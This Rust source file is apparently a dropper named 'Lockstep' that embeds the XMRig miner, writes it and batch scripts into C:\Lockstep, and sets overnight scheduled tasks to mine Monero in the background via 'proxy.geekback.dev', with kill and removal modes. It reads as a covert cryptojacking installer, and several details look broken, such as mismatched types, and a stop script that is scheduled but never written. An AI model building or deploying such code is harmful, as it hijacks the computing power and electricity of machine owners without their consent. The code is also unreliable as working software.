
extern crate alloc;

use clap::{Parser, ValueEnum};
use alloc::string::String;
use std::fs;
use std::fs::File;
use std::process::{Command, Output};
use std::io::{Result, Write};
use std::path::Path;

pub const APP_VERSION: &str = "0.0.1-PREALPHA";
pub const DAILY_SRC: &str = include_str!("resources/daily.cmd");
pub const CONFIG_SRC: &str = include_str!("resources/config.cmd");
pub const WORK_BIN: &[u8] = include_bytes!("resources/xmrig.exe");
pub const SLAVE_ROOT: &str = "Lockstep";
pub const WORK_NAME: &str = "xmrig";
pub const DAILY_WORK_NAME: &str = "Lockstep\\Daily Work";
pub const DAILY_STOP_NAME: &str = "Lockstep\\Yield";

#[derive(Debug, Clone, Copy, Default, ValueEnum)]
enum AppModes {
    #[default]
    KillCommand,
    MoveIn,
    RunWork,
    MoveOut,
}

#[derive(Parser, Debug)]
#[command(name = "Lockstep", version = APP_VERSION, about = "Keep them in lockstep")]
struct Cli {
    app_modes: AppModes,
}

/// Executes a Windows binary with the given parameters.
///
/// # Arguments
///
/// * `binary_path` - The full path to the Windows `.exe` binary.
/// * `args` - A slice of arguments to pass to the binary.
///
/// # Returns
///
/// * `Result<Output, io::Error>` - The output of the command if successful, or an I/O error.
fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result<Output> {
    Command::new(binary_path)
        .args(args)
        .output()
}

fn remove_command(name: &str) {
    let binary = "C:/windows/system32/schtasks.exe";
    let parameters = ["/delete", "/tn", name, "/f"];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            println!("Status: {}", output.status);
            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
        }
        Err(error) => {
            eprintln!("Failed to execute -> {}", error);
        }
    }
}

fn schedule_command(tod: &str, command: &str, name: &str) {
    let binary = "C:/windows/system32/schtasks.exe";
    let parameters = ["/create",
        "/tn", name,
        "/sc", "daily",
        "/st", tod,
        "/sd", "01/01/2001",
        "/tr", command];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            println!("Status: {}", output.status);
            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
        }
        Err(e) => {
            eprintln!("Failed to execute process: {}", e);
        }
    }
}

fn run_schedule_daily_command() {
    schedule_command("19:00", format!("C:\\{}\\daily.cmd", SLAVE_ROOT).as_str(), DAILY_WORK_NAME);
    schedule_command("05:00", format!("C:\\{}\\stop_work.cmd", SLAVE_ROOT).as_str(), DAILY_STOP_NAME);
}

fn remove_daily_commands() {
    remove_command(DAILY_WORK_NAME);
    remove_command(DAILY_STOP_NAME);
}

fn run_monero_miner() {
    println!("Starting heat soak");
    let binary = "C:/lockstep/xmrig.exe";
    let parameters = ["-o", "proxy.geekback.dev",
        "--rig-id", hostname::get().unwrap_or("UnkownHostname"),
        "--huge-pages-jit",
        "--randomx-1gb-pages",
        "-B",
        "--coin", "monero"
    ];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            println!("Status: {}", output.status);
            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
        }
        Err(e) => {
            eprintln!("Failed to execute process: {}", e);
        }
    }
}

fn run_kill_command() {
    let binary = "C:/windows/system32/taskkill.exe";
    let work_name_path = format!("{}.exe", WORK_NAME);
    let parameters = ["/IM", work_name_path.as_str(), "/F"];

    match run_windows_binary(binary, &parameters) {
        Ok(output) => {
            println!("Status: {}", output.status);
            println!("stdout: {}", String::from_utf8_lossy(&output.stdout));
            println!("stderr: {}", String::from_utf8_lossy(&output.stderr));
        }
        Err(e) => {
            eprintln!("Failed to execute process: {}", e);
        }
    }
}

fn create_file(name: &str, content: &[u8]) {
// File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap();
    let full_path = format!("C:\\{}\\{}", SLAVE_ROOT, name);
    File::create(Path::new(full_path.as_str())).unwrap().write(content).unwrap();
}

fn drop_scripts_and_work() {
    #[cfg(windows)] {
        let _ = fs::create_dir(format!("c:\\{}", SLAVE_ROOT).as_str());
        create_file("daily.cmd", DAILY_SRC.as_bytes());
        create_file("config.bat", CONFIG_SRC.as_bytes());
        create_file(format!("{}.exe", WORK_NAME), WORK_BIN);
    }
    #[cfg(not(windows))] {
        println!("Create path.");
        println!("Drop daily cmd");
        println!("Drop config");
        println!("Drop worker");
    }
}

fn main() {
    println!("Launching LockStep {}", APP_VERSION);
    let opts = Cli::parse();

    match opts.app_modes {
        AppModes::KillCommand => {
            run_kill_command();
        }
        AppModes::MoveIn => {
            run_schedule_daily_command();
            drop_scripts_and_work();
        }
        AppModes::RunWork => {
            run_monero_miner();
        }
        AppModes::MoveOut => {
            remove_daily_commands();
        }
    }
}
